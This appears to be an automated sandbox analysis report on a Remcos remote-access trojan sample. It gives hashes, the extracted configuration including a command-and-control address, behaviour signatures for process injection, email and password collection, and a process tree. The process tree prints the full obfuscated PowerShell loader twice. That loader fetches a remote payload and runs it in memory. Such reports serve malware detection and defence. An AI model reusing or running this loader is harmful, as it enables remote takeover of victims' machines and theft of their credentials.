remcos | 1858bf1f510dda89c058014795103b672ea567d6e9a1d6eb7fe6e500543a42d5

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 07:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MalwareBazaar.vbs
Size 141KB
Sample240710-jfss9axalg
SHA256 1858bf1f510dda89c058014795103b672ea567d6e9a1d6eb7fe6e500543a42d5
MD5 b0c2134e5ca14aa267507f48f2245c1f
SHA1 709726c144ecc7830b81ff565807793c51398bfe
SHA512 1b36339b2c4b0e9478adeab6091b68021b26d16bb5c440cfecfc4003ef6b720ff20ed3006df10181d2995aaf036a9b1e22fe5122c94b33973ca56885910f9bfb
SSDEEP 3072:wPfUswQ6DNAESJ4gLPypBOkmGxtke+bfeK1sp5PlSLfVhxibKk58id+:wPfUswQ6DN/SJ4gLPyprDtke+bfxsp5I
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.237.87.159:9462

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LO8JHK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3736-56-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1452-55-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/1044-59-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3736-56-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1452-55-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	728	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3488	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
416	powershell.exe
3488	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 416 set thread context of 3488	416	powershell.exe	90
PID 3488 set thread context of 1452	3488	wab.exe	92
PID 3488 set thread context of 3736	3488	wab.exe	94
PID 3488 set thread context of 1044	3488	wab.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
728	powershell.exe
728	powershell.exe
416	powershell.exe
416	powershell.exe
416	powershell.exe
1452	wab.exe
1452	wab.exe
1044	wab.exe
1044	wab.exe
1452	wab.exe
1452	wab.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
416	powershell.exe
3488	wab.exe
3488	wab.exe
3488	wab.exe
3488	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeDebugPrivilege	1044	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3488	wab.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3284 wrote to memory of 728	3284	WScript.exe	82
PID 3284 wrote to memory of 728	3284	WScript.exe	82
PID 728 wrote to memory of 1268	728	powershell.exe	86
PID 728 wrote to memory of 1268	728	powershell.exe	86
PID 728 wrote to memory of 416	728	powershell.exe	88
PID 728 wrote to memory of 416	728	powershell.exe	88
PID 728 wrote to memory of 416	728	powershell.exe	88
PID 416 wrote to memory of 1040	416	powershell.exe	89
PID 416 wrote to memory of 1040	416	powershell.exe	89
PID 416 wrote to memory of 1040	416	powershell.exe	89
PID 416 wrote to memory of 3488	416	powershell.exe	90
PID 416 wrote to memory of 3488	416	powershell.exe	90
PID 416 wrote to memory of 3488	416	powershell.exe	90
PID 416 wrote to memory of 3488	416	powershell.exe	90
PID 416 wrote to memory of 3488	416	powershell.exe	90
PID 3488 wrote to memory of 1452	3488	wab.exe	92
PID 3488 wrote to memory of 1452	3488	wab.exe	92
PID 3488 wrote to memory of 1452	3488	wab.exe	92
PID 3488 wrote to memory of 1452	3488	wab.exe	92
PID 3488 wrote to memory of 4020	3488	wab.exe	93
PID 3488 wrote to memory of 4020	3488	wab.exe	93
PID 3488 wrote to memory of 4020	3488	wab.exe	93
PID 3488 wrote to memory of 3736	3488	wab.exe	94
PID 3488 wrote to memory of 3736	3488	wab.exe	94
PID 3488 wrote to memory of 3736	3488	wab.exe	94
PID 3488 wrote to memory of 3736	3488	wab.exe	94
PID 3488 wrote to memory of 1044	3488	wab.exe	95
PID 3488 wrote to memory of 1044	3488	wab.exe	95
PID 3488 wrote to memory of 1044	3488	wab.exe	95
PID 3488 wrote to memory of 1044	3488	wab.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac';If (${host}.CurrentCulture) {$Fichteanismndirubine++;}Function Ludder($Bowditch){$Basarbygningen=$Bowditch.Length-$Fichteanismndirubine;$Flykaprers='SUBsTR';$Flykaprers+='ing';For( $Fichteanism=7;$Fichteanism -lt $Basarbygningen;$Fichteanism+=8){$Faunist110+=$Bowditch.$Flykaprers.Invoke( $Fichteanism, $Fichteanismndirubine);}$Faunist110;}function Barbing($Ordrebeholdningerne){ .($Dozing) ($Ordrebeholdningerne);}$Esteban119=Ludder 'Dil.mmaM FrappeoBrockiszStjernei Skol nlNiveaullFilletsaDebauch/ Dagh s5.romogr.Thyropr0m,nstro Utopism(AviseriWAspireriHjemsgen.oisonmdPrestsroGge.ulswSultanasDay ork FunderNIsthmicTAfstand Seldsee1Rykkein0Panachu.Fl,ktue0Duplikn;Balsam. Draper,WHeteromi Gymno,n Hule a6Pebrine4Cosigna;Forebod Dgn.luexForegan6Tallerk4Stf afi;Sandfar Mart rmrDehumanvMal,lla:Reventi1 Invasi2Diffu d1Sclerot.Fartg,d0Superfa)Pol.pho PiloterGKayastheEner ercDagfriskPosr rnoTriache/Berlini2Genaabn0Ill min1Percu.s0Inquili0Unquarr1Erfaren0Toning 1desmola JuncturFVidely,iFile nkrfus onsedwarf efMarch no SoftdrxK,ernes/Matur,m1Burgund2 Ergome1Musiklr.Billbug0 B aska ';$Byggemodnende=Ludder 'Spros.eU.oncannsGeni,saeElaeothrLanaiop-BaccivoA GnggedgD lggeleoverculn Dr,nketNeurine ';$nrheds=Ludder 'rren.esh TrmlkstUndeclatThimblepChar.ba: xcisem/Tyttebr/Coro ar1Theriom0Designe3Gebrden.Marckwa2 Sup.nu3Workday7Sl,kmun.juggler8F ivrdi6.ailler.Aktiesk2Af,less4 Underp7Hderspl/Jogu,tsSUncampavEvolveri MilkbubCircumeeLinieslllenshergFjottesl HarmnoaEftertrs depor sPla teseSoleniutElektri.HjertefaMo,orgacAnethenaRepulsi ';$Cosima118=Ludder 'Blokade> Abst.n ';$Dozing=Ludder 'BortkomiAdeadgoeVi.eodixColo.iz ';$Buyers='Undertrykker89';$filformatet = Ludder 'prespeceR.gsmaacFlavorehSokkensoCamaldo fri eds%spirin aBeskftipApotheopFusetendadm nisaBoligvet,cryingaCru,ena%Alveole\VedligeSCaptainnStrubehoRehabilrTerminoeSurvivetLejevrdrHorseplkAcheulek g.nglae UnstifnSanctaneAkant,s.Udki.spR Hjh dsuDeta,jet en,ycl M rblei&Unfierc&flipov Supprie,cragbrc S,klethIsopo.ioTje lis sn.bolltKonfek, ';Barbing (Ludder 'Pr sbev$FootlesgAngr bslHarmonioCowboyhb Forfora ollapslRebusin: PreppiBBaegersaTrskninl S yrkea .ostmol BlaastaOedipusjEnergytkPapirmla Conglo=Sutherl(Nonindec Sl.tsnmBathrood Forure Pontils/Skriftec.obbelt Bo,efis$ .rmlntfBullet i Behan lProportf AgabanoTroldmarmezqu,tmSectoraaManipultKlammere TabulatLangfrd) Udarbe ');Barbing (Ludder 'Gastro.$ llersg,aalendl ParantoTawneiebVestibuaU.olleglUuds et:stuelejSBehrigemSkaldyraLeak,unsTinlikehCore.oreRet.oltrPe,tidusM nchen= egeta$Betak.gnConfucirBelbsfehlimnicveMaesintdisbjrnesAfskilr. Invigos Jackasp Trumpilunelb wiSt linitK,naane(sinistr$TvangsmCDeath,ao Fauce sPseudopi skarpsmUdkernia Mor.en1Blie ta1Lynchni8Tiltvin)Koghede ');Barbing (Ludder 'nonpuni[RhesuspNLure eneConse.ttRecons .SttteerSvaranideShakesprDyref.rv mrbarbiAfregnicringeape DuvergPAgurkeroForstrri RepresnUncentrt c,rsesMTurkiseaPutoriun Ind.rsaS,rmudfg OverteeBitter,rUvenska]Fuldgo.:St.nogr:AnviselSInundateSalvyfdcPse,doou PhoenirAd.nizeiL saventsatelesyBollixoP .nuptarEquanimoGraferstRegimenoNippe,rcMelanito orlnglRepubli Udjoges=Pseudol Irrotat[MiaowseNobsknereperfecttStenoth.UnephemSSyvsovee AssistcEu,leidu SvveflrOpfi deid vledetL.ningeyRetsbogP InternrSortermoTillidet ProstooPhenomecPa,ningoVi.ideslPal.topTMelodioyForhalep.avrerneA totom]Indvand:En,heal:GimpersTHaemocolcleanlis Mai,id1 Wandli2superat ');$nrheds=$Smashers[0];$Nstflgende= (Ludder 'Carpain$Globel.g Bram.alBardolao NonmetbPalingsaFortolklPectine:KonsultH Visiepy Derhent A.aptotSkrbug,e AgwaydfProduktaStyrehudSpin.lee Taw einNitokoge Uncas,sGlitren=TweesevNRrhatteeSu.attowMopeier- ammerkO sponsobDds.igejOsteocaesamlelic OverrutBagvgsk HowlsmsSBarleyhycarbolis HyperftInfluereElectorm Dio.es.An ordrNFac,tsme ErhvertDro.psp. Haan sW.iscoune .aiwanbPaavirkCBroderllT afikaiPsy,hoseBesmurtnSwe.tsht');$Nstflgende+=$Balalajka[1];Barbing ($Nstflgende);Barbing (Ludder ' Thymol$lbeildeH Graphoy Me.hodt,kudrigtplu.kineTentaclfMotorikaVa,selsd SildefehvepsernE,ospuleUni,onisGallami.ArenseoHTrans,oeOverfl.aForkortdrascetteElgkoenr UpaatasSk nder[Abbedis$DispersBFor.aliyLre tnig Antiseg BarkpeePirogitm agpiesoPatinaedEliminanRomaicteDaadyrkn R.psmadUrigtigeAsylsam] Kredsr= Spring$InterpoEOfficersSorancetBon,oune Engangb ongsomaInterpenU,ligge1Slubret1Salminm9Tyrefgt ');$Vandkmmende=Ludder ' Protod$TrsfordHEspart y extroctProtokotDescendeRenk,ltfChiffonaResociadRegloweeTossersnSubpolyeTap.ncesBield.n. orpligDElectrooDefoggewM,narchnUnlogislMousledoUnearedaJackstodKal.esiFHabitati Milderl S.eepee Fla,ks(Skindla$ VomicinStinkehrOat.akehNominateHaworthdLegalersBatonis, Forhaa$.ristokUBajabadnPulveridEringeriIndacong Libi.irLysningeRondolesFemhundsStorfyri Re.inev ,oilineGodt,po)Bladnin ';$Undigressive=$Balalajka[0];Barbing (Ludder 'Smutte,$SysselfgRidderelKelekveo CiteirbRoastaba FodbollEnebrbu: aurealEMiljforlsummut eHalvledcMedullat RemultrmoserstoFlde focSatyrenhDislodge TelefomPathemaiNondemocS,edkiraGaze oelF rietilN,cromayPreexi,= Int rt( DemisoTFrugtsoeStuepi sUdlgstit Corseq-AfsporePRetitlia SylfidtMacrocoh Ingeni Delmome$SymptomUBogcafen Rend jdbonde.uil ktiongindlaanr kutymeeS.rodersCerebrosHenvendiKvdercavTest.meeBras li)Haveark ');while (!$Electrochemically) {Barbing (Ludder 'Leverin$Fyge.deg DykandlH,ckeryo HandsebEcphoriaA,toindlUnparce:EmbalmmFContaineV dsurosMilkerrtVogterseAnthropshonorab= sanglr$ TelesttUropygirBezale uPseudofeUndilut ') ;Barbing $Vandkmmende;Barbing (Ludder 'Meres aSFoldedrtFiremota Unguesr Sy,acttCongea.-MajorsfS ibrantlForgribeDalsnkneBevbninp.ommand Phenego4Campere ');Barbing (Ludder 'Anlgsar$La eiesgC blesklAfbud roagedesubUlavecoaSt.deprlFordabl:EndevenE frbaadl Knirkeelersersc GhostltIntensarCe.haleoFemg,encSu limih UnperceUhildetmTil,ageiBattingcReddfluaInsurgel AggranlFejlrutyBloodro=G eedsu(PrivitiTP.lytekeFriti.ssPyt.agot equizu-Samm nlPColoquiaDamndestBegreenhPer.oid Kolonil$Rekonf U Grund.nViv,anmdBr esski PhotomgRisstivrUnd.eshe SubclasSge.esusBerggyliBacongrvFagterseSoriteo)Right,b ') ;Barbing (Ludder ' Sch.uw$quadrangVermicilBandtesoIje.prib Embedsa RatioclTuberke: .estdrRNonun,ne SulfocdSnoh.leiRestibrgFormal.eHemibenrJernfiliPrisstsnSetu,ougAmidoxieBoropher hob.mon Forin,eArbejds= Interp$elektrogStykkenl FilbehoTvrfagsbUn.editaHyppespl Underd:ComputeTOutttori Nonim mHypobensLallesk+ortolan+Arbejds%Davidss$M eaftnS Topbelmauto olaUndersksBuddhahhStude,teB gmuskrTilraabsUnfalsi.Anten.ac Rhi.otoTailgebuNont.lenDogla ptAsharas ') ;$nrheds=$Smashers[$Redigeringerne];}$opfriskes=322991;$Gglernes202=31075;Barbing (Ludder 'Histori$UndersagMechoacl Storblo ,ornikb Paralla abilitl Wal,he:Te,elinIO,aculosValencioCerebbebFlus eroPoetiserEmpathyn SyrligeRatsba oTro petlHundehv No.ogen=Nyetabl SgeprocGPargepheSpongint Sleuth- Milad CEmblemeoGlumellnTiologitAnsvar.eMatissen Excee.t doedss Tilfros$forsyniUHepaticnWeightidReattaciSekretagCentralrSpattedeDekadras Refleds Uncrowi Havsndv Hem cyeSydsole ');Barbing (Ludder 'Alkenss$ungdomsgAskeflllNondif o Enzy,ebskulptuaMalkondlStykgod: MatapiAStomatolDefensiifests,laReorgansJaquesseEnyaseld,achelo Surffas=Trinbrt Interfa[PaabydeSRokkehjycleadi,sUnfecu tArkivereSikkerhmEmballa.PlenarfCYrkereaoShinbogn tantivvPrisbeleSmokiesrScurr etbrndesa]Oligoni: cetoph:AnstndiFstubmarrurkokkeoRishstemReumatiBSyntaksaHankelssFoliante T berc6Nocerit4 TetrasSRumfangt Geogn,r SkovbyiSubcuranBondemagordresa(Dybdepe$TaxakrsICongenes.rveslvoPigeonrb,tartrkoSlaglerr DansannRe.iliaeBynkelooU dannel,umette) Resmo ');Barbing (Ludder ' Kroket$ DelbargFirmaomlsoringcoUndervgbRe ommeaBescrapl Porphy:G norreSNattelyaPi.dysrrAdpo itoM ledicdApprobaeFoxesoa Lam.lb=R,tsche Econom[under.nShalfcocyDataindsStylo rtRo.anwoePregradmTilbygg.Tonet oTEx,rtspem torolxLit raltSemidiv. efte,mERespadenPyrrylpc s atioo Oliba,d WesteriBevogtnnKonomipgSoelvst]Sordinf: poor,s:Lovi,egATilstteS trap.zCStorgo IFjeldkaI.ystopl.B.bylonGTin slieNonpen tTonguerSPennalht bovvisrOver.eriEn.prognConcertgForbogs(Nordve $RevolveA Seri.ulTrompetiFigurteaMoanfulsStap.edeSh viandNomades)Choreal ');Barbing (Ludder 'Indbeta$Sne.yddgUndersll Genopho,mprisob None.uagalbanulalgerit:Projek.LSpadseriTumor,ds Ri ikoaWestl wnSpirtsme.narkmgtBasenjitSanctife ,limaz=Preg ad$KonfirmSHjreindaHydrogerLaske.eoExcelled CulotteSekunda.PrdikansForstaau FlormebNoonligsSaloma,tBongoesrR apersiHval esnA.tiquig .flnni( hun ia$ FnblgeoOi kscypSk,nsesfAdrammer Ta emaiDrkarmes T,lskukfigurate EfterbsFlammes, Su dhe$ExorcizG LedigggSkattellDenitraeindsmrer .isiscn SubcarePif lepsRingspi2Silketj0 Impedo2 Chrysa)Drivert ');Barbing $Lisanette;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snoretrkkene.Rut && echo t"
    3⤵
    PID:1268
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac Faunist110 Tims Redigeringerne Smashers nrheds Underfinancing Manwards Undertrykker89 Isoborneol Overrestrain Tiggergangs72 Sarode Hutchinsonite Bekendthed superacknowledgment Besvaerlige Udelikateste Fabrikantens Legislated Fruitiest Triradiuses Undigressive Ominate Curiomaniac';If (${host}.CurrentCulture) {$Fichteanismndirubine++;}Function Ludder($Bowditch){$Basarbygningen=$Bowditch.Length-$Fichteanismndirubine;$Flykaprers='SUBsTR';$Flykaprers+='ing';For( $Fichteanism=7;$Fichteanism -lt $Basarbygningen;$Fichteanism+=8){$Faunist110+=$Bowditch.$Flykaprers.Invoke( $Fichteanism, $Fichteanismndirubine);}$Faunist110;}function Barbing($Ordrebeholdningerne){ .($Dozing) ($Ordrebeholdningerne);}$Esteban119=Ludder 'Dil.mmaM FrappeoBrockiszStjernei Skol nlNiveaullFilletsaDebauch/ Dagh s5.romogr.Thyropr0m,nstro Utopism(AviseriWAspireriHjemsgen.oisonmdPrestsroGge.ulswSultanasDay ork FunderNIsthmicTAfstand Seldsee1Rykkein0Panachu.Fl,ktue0Duplikn;Balsam. Draper,WHeteromi Gymno,n Hule a6Pebrine4Cosigna;Forebod Dgn.luexForegan6Tallerk4Stf afi;Sandfar Mart rmrDehumanvMal,lla:Reventi1 Invasi2Diffu d1Sclerot.Fartg,d0Superfa)Pol.pho PiloterGKayastheEner ercDagfriskPosr rnoTriache/Berlini2Genaabn0Ill min1Percu.s0Inquili0Unquarr1Erfaren0Toning 1desmola JuncturFVidely,iFile nkrfus onsedwarf efMarch no SoftdrxK,ernes/Matur,m1Burgund2 Ergome1Musiklr.Billbug0 B aska ';$Byggemodnende=Ludder 'Spros.eU.oncannsGeni,saeElaeothrLanaiop-BaccivoA GnggedgD lggeleoverculn Dr,nketNeurine ';$nrheds=Ludder 'rren.esh TrmlkstUndeclatThimblepChar.ba: xcisem/Tyttebr/Coro ar1Theriom0Designe3Gebrden.Marckwa2 Sup.nu3Workday7Sl,kmun.juggler8F ivrdi6.ailler.Aktiesk2Af,less4 Underp7Hderspl/Jogu,tsSUncampavEvolveri MilkbubCircumeeLinieslllenshergFjottesl HarmnoaEftertrs depor sPla teseSoleniutElektri.HjertefaMo,orgacAnethenaRepulsi ';$Cosima118=Ludder 'Blokade> Abst.n ';$Dozing=Ludder 'BortkomiAdeadgoeVi.eodixColo.iz ';$Buyers='Undertrykker89';$filformatet = Ludder 'prespeceR.gsmaacFlavorehSokkensoCamaldo fri eds%spirin aBeskftipApotheopFusetendadm nisaBoligvet,cryingaCru,ena%Alveole\VedligeSCaptainnStrubehoRehabilrTerminoeSurvivetLejevrdrHorseplkAcheulek g.nglae UnstifnSanctaneAkant,s.Udki.spR Hjh dsuDeta,jet en,ycl M rblei&Unfierc&flipov Supprie,cragbrc S,klethIsopo.ioTje lis sn.bolltKonfek, ';Barbing (Ludder 'Pr sbev$FootlesgAngr bslHarmonioCowboyhb Forfora ollapslRebusin: PreppiBBaegersaTrskninl S yrkea .ostmol BlaastaOedipusjEnergytkPapirmla Conglo=Sutherl(Nonindec Sl.tsnmBathrood Forure Pontils/Skriftec.obbelt Bo,efis$ .rmlntfBullet i Behan lProportf AgabanoTroldmarmezqu,tmSectoraaManipultKlammere TabulatLangfrd) Udarbe ');Barbing (Ludder 'Gastro.$ llersg,aalendl ParantoTawneiebVestibuaU.olleglUuds et:stuelejSBehrigemSkaldyraLeak,unsTinlikehCore.oreRet.oltrPe,tidusM nchen= egeta$Betak.gnConfucirBelbsfehlimnicveMaesintdisbjrnesAfskilr. Invigos Jackasp Trumpilunelb wiSt linitK,naane(sinistr$TvangsmCDeath,ao Fauce sPseudopi skarpsmUdkernia Mor.en1Blie ta1Lynchni8Tiltvin)Koghede ');Barbing (Ludder 'nonpuni[RhesuspNLure eneConse.ttRecons .SttteerSvaranideShakesprDyref.rv mrbarbiAfregnicringeape DuvergPAgurkeroForstrri RepresnUncentrt c,rsesMTurkiseaPutoriun Ind.rsaS,rmudfg OverteeBitter,rUvenska]Fuldgo.:St.nogr:AnviselSInundateSalvyfdcPse,doou PhoenirAd.nizeiL saventsatelesyBollixoP .nuptarEquanimoGraferstRegimenoNippe,rcMelanito orlnglRepubli Udjoges=Pseudol Irrotat[MiaowseNobsknereperfecttStenoth.UnephemSSyvsovee AssistcEu,leidu SvveflrOpfi deid vledetL.ningeyRetsbogP InternrSortermoTillidet ProstooPhenomecPa,ningoVi.ideslPal.topTMelodioyForhalep.avrerneA totom]Indvand:En,heal:GimpersTHaemocolcleanlis Mai,id1 Wandli2superat ');$nrheds=$Smashers[0];$Nstflgende= (Ludder 'Carpain$Globel.g Bram.alBardolao NonmetbPalingsaFortolklPectine:KonsultH Visiepy Derhent A.aptotSkrbug,e AgwaydfProduktaStyrehudSpin.lee Taw einNitokoge Uncas,sGlitren=TweesevNRrhatteeSu.attowMopeier- ammerkO sponsobDds.igejOsteocaesamlelic OverrutBagvgsk HowlsmsSBarleyhycarbolis HyperftInfluereElectorm Dio.es.An ordrNFac,tsme ErhvertDro.psp. Haan sW.iscoune .aiwanbPaavirkCBroderllT afikaiPsy,hoseBesmurtnSwe.tsht');$Nstflgende+=$Balalajka[1];Barbing ($Nstflgende);Barbing (Ludder ' Thymol$lbeildeH Graphoy Me.hodt,kudrigtplu.kineTentaclfMotorikaVa,selsd SildefehvepsernE,ospuleUni,onisGallami.ArenseoHTrans,oeOverfl.aForkortdrascetteElgkoenr UpaatasSk nder[Abbedis$DispersBFor.aliyLre tnig Antiseg BarkpeePirogitm agpiesoPatinaedEliminanRomaicteDaadyrkn R.psmadUrigtigeAsylsam] Kredsr= Spring$InterpoEOfficersSorancetBon,oune Engangb ongsomaInterpenU,ligge1Slubret1Salminm9Tyrefgt ');$Vandkmmende=Ludder ' Protod$TrsfordHEspart y extroctProtokotDescendeRenk,ltfChiffonaResociadRegloweeTossersnSubpolyeTap.ncesBield.n. orpligDElectrooDefoggewM,narchnUnlogislMousledoUnearedaJackstodKal.esiFHabitati Milderl S.eepee Fla,ks(Skindla$ VomicinStinkehrOat.akehNominateHaworthdLegalersBatonis, Forhaa$.ristokUBajabadnPulveridEringeriIndacong Libi.irLysningeRondolesFemhundsStorfyri Re.inev ,oilineGodt,po)Bladnin ';$Undigressive=$Balalajka[0];Barbing (Ludder 'Smutte,$SysselfgRidderelKelekveo CiteirbRoastaba FodbollEnebrbu: aurealEMiljforlsummut eHalvledcMedullat RemultrmoserstoFlde focSatyrenhDislodge TelefomPathemaiNondemocS,edkiraGaze oelF rietilN,cromayPreexi,= Int rt( DemisoTFrugtsoeStuepi sUdlgstit Corseq-AfsporePRetitlia SylfidtMacrocoh Ingeni Delmome$SymptomUBogcafen Rend jdbonde.uil ktiongindlaanr kutymeeS.rodersCerebrosHenvendiKvdercavTest.meeBras li)Haveark ');while (!$Electrochemically) {Barbing (Ludder 'Leverin$Fyge.deg DykandlH,ckeryo HandsebEcphoriaA,toindlUnparce:EmbalmmFContaineV dsurosMilkerrtVogterseAnthropshonorab= sanglr$ TelesttUropygirBezale uPseudofeUndilut ') ;Barbing $Vandkmmende;Barbing (Ludder 'Meres aSFoldedrtFiremota Unguesr Sy,acttCongea.-MajorsfS ibrantlForgribeDalsnkneBevbninp.ommand Phenego4Campere ');Barbing (Ludder 'Anlgsar$La eiesgC blesklAfbud roagedesubUlavecoaSt.deprlFordabl:EndevenE frbaadl Knirkeelersersc GhostltIntensarCe.haleoFemg,encSu limih UnperceUhildetmTil,ageiBattingcReddfluaInsurgel AggranlFejlrutyBloodro=G eedsu(PrivitiTP.lytekeFriti.ssPyt.agot equizu-Samm nlPColoquiaDamndestBegreenhPer.oid Kolonil$Rekonf U Grund.nViv,anmdBr esski PhotomgRisstivrUnd.eshe SubclasSge.esusBerggyliBacongrvFagterseSoriteo)Right,b ') ;Barbing (Ludder ' Sch.uw$quadrangVermicilBandtesoIje.prib Embedsa RatioclTuberke: .estdrRNonun,ne SulfocdSnoh.leiRestibrgFormal.eHemibenrJernfiliPrisstsnSetu,ougAmidoxieBoropher hob.mon Forin,eArbejds= Interp$elektrogStykkenl FilbehoTvrfagsbUn.editaHyppespl Underd:ComputeTOutttori Nonim mHypobensLallesk+ortolan+Arbejds%Davidss$M eaftnS Topbelmauto olaUndersksBuddhahhStude,teB gmuskrTilraabsUnfalsi.Anten.ac Rhi.otoTailgebuNont.lenDogla ptAsharas ') ;$nrheds=$Smashers[$Redigeringerne];}$opfriskes=322991;$Gglernes202=31075;Barbing (Ludder 'Histori$UndersagMechoacl Storblo ,ornikb Paralla abilitl Wal,he:Te,elinIO,aculosValencioCerebbebFlus eroPoetiserEmpathyn SyrligeRatsba oTro petlHundehv No.ogen=Nyetabl SgeprocGPargepheSpongint Sleuth- Milad CEmblemeoGlumellnTiologitAnsvar.eMatissen Excee.t doedss Tilfros$forsyniUHepaticnWeightidReattaciSekretagCentralrSpattedeDekadras Refleds Uncrowi Havsndv Hem cyeSydsole ');Barbing (Ludder 'Alkenss$ungdomsgAskeflllNondif o Enzy,ebskulptuaMalkondlStykgod: MatapiAStomatolDefensiifests,laReorgansJaquesseEnyaseld,achelo Surffas=Trinbrt Interfa[PaabydeSRokkehjycleadi,sUnfecu tArkivereSikkerhmEmballa.PlenarfCYrkereaoShinbogn tantivvPrisbeleSmokiesrScurr etbrndesa]Oligoni: cetoph:AnstndiFstubmarrurkokkeoRishstemReumatiBSyntaksaHankelssFoliante T berc6Nocerit4 TetrasSRumfangt Geogn,r SkovbyiSubcuranBondemagordresa(Dybdepe$TaxakrsICongenes.rveslvoPigeonrb,tartrkoSlaglerr DansannRe.iliaeBynkelooU dannel,umette) Resmo ');Barbing (Ludder ' Kroket$ DelbargFirmaomlsoringcoUndervgbRe ommeaBescrapl Porphy:G norreSNattelyaPi.dysrrAdpo itoM ledicdApprobaeFoxesoa Lam.lb=R,tsche Econom[under.nShalfcocyDataindsStylo rtRo.anwoePregradmTilbygg.Tonet oTEx,rtspem torolxLit raltSemidiv. efte,mERespadenPyrrylpc s atioo Oliba,d WesteriBevogtnnKonomipgSoelvst]Sordinf: poor,s:Lovi,egATilstteS trap.zCStorgo IFjeldkaI.ystopl.B.bylonGTin slieNonpen tTonguerSPennalht bovvisrOver.eriEn.prognConcertgForbogs(Nordve $RevolveA Seri.ulTrompetiFigurteaMoanfulsStap.edeSh viandNomades)Choreal ');Barbing (Ludder 'Indbeta$Sne.yddgUndersll Genopho,mprisob None.uagalbanulalgerit:Projek.LSpadseriTumor,ds Ri ikoaWestl wnSpirtsme.narkmgtBasenjitSanctife ,limaz=Preg ad$KonfirmSHjreindaHydrogerLaske.eoExcelled CulotteSekunda.PrdikansForstaau FlormebNoonligsSaloma,tBongoesrR apersiHval esnA.tiquig .flnni( hun ia$ FnblgeoOi kscypSk,nsesfAdrammer Ta emaiDrkarmes T,lskukfigurate EfterbsFlammes, Su dhe$ExorcizG LedigggSkattellDenitraeindsmrer .isiscn SubcarePif lepsRingspi2Silketj0 Impedo2 Chrysa)Drivert ');Barbing $Lisanette;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
